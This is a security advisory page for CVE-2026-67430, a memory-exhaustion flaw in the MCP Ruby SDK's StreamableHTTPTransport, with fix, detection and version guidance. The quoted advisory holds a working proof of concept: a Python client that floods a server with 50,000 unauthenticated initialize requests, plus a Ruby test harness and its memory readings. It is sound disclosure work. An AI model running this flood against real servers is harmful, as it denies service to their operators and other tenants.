NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-67430: MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood

mediumCVSS 3.1 5.3GHSA-52jp-gj8w-j6xh

By default, the MCP Ruby SDK's StreamableHTTPTransport never expires sessions. An unauthenticated client can send initialize requests in a loop, and the server keeps every session in memory until it runs out. Gem mcp up to 0.22.0 is affected. Upgrade to 0.23.0, which adds a 30-minute idle timeout and a 10,000-session cap.

Published Jul 30, 2026 · Analysis Oct 25, 2026

What an attacker can do

In streamable_http_transport.rb, the constructor's session_idle_timeout defaults to nil, and line 46 starts the reaper thread only if a timeout is set. Each successful initialize in handle_initialization stores a ServerSession (with a Mutex, an @in_flight hash and a capabilities hash) under a new UUID. Sessions leave only through a client DELETE or stream errors. The README itself says sessions do not expire by default.

The reporter ran the default configuration and sent 50,000 initialize requests from one client with 32 workers. All 50,000 sessions were created in 26.6 seconds, and the count stayed pinned at 50,000 with memory at about 152 MB, because nothing frees them. Scaling this with more clients or larger capability payloads drives the worker to an OOM kill.

The attacker needs only TCP reach to the endpoint: no session, no credentials. A worker that restarts is simply hit again, and on a shared gateway one tenant can starve the rest. Because the safe setting is opt-in, many deployments ship exposed. The availability impact is rated low in the data, since each session is small and the flood takes volume.

Who is affected

mcp gem up to and including 0.22.0, for stateful StreamableHTTPTransport servers that did not set session_idle_timeout. Stateless servers (stateless: true) keep no sessions. Check the gem version and your transport constructor:

bundle list | grep mcp
grep -rn "StreamableHTTPTransport.new" .

mcp

Ecosystem
RubyGems
Affected
<= 0.22.0
Fixed in
0.23.0
Check
bundle info mcp

How to fix it

Upgrade to mcp 0.23.0:

bundle update mcp

In stateful mode, session_idle_timeout now defaults to 1800 seconds, so the reaper runs. A new max_sessions option defaults to 10,000. At the cap, the transport first clears expired sessions, then rejects new initialize requests with HTTP 503. It does not evict a live session.

This is a breaking change: sessions end after 30 minutes idle. To keep the old behavior, pass session_idle_timeout: nil and max_sessions: nil, which restores the flaw. On older versions, set session_idle_timeout yourself and rate-limit initialize at your proxy.

How to tell if you were hit

Watch the process for steady memory growth that does not fall back, and for large numbers of POST requests carrying method initialize from one or a few addresses in access logs. If you can inspect the transport, the size of its @sessions hash keeps rising. After upgrading, a burst of HTTP 503 responses to initialize means the 10,000 cap is being hit. Legitimate clients rarely open thousands of sessions a minute.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

  • Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
  • Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
  • Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

  • Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
  • Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
  • Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

  1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
  2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
  3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Credited to hewei-gikaku.

Questions

Is a stateless MCP Ruby server affected by CVE-2026-67430?

No. The flaw is session retention in stateful mode. With stateless: true the transport stores no sessions, and the new max_sessions cap does not apply there either.

What defaults changed in 0.23.0?

session_idle_timeout is now 1800 seconds and max_sessions is 10,000 in stateful mode. Passing nil for either one disables it.

Does the attacker need to authenticate?

No. Any client that can reach the endpoint can send initialize and create a session, so no credentials are needed.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries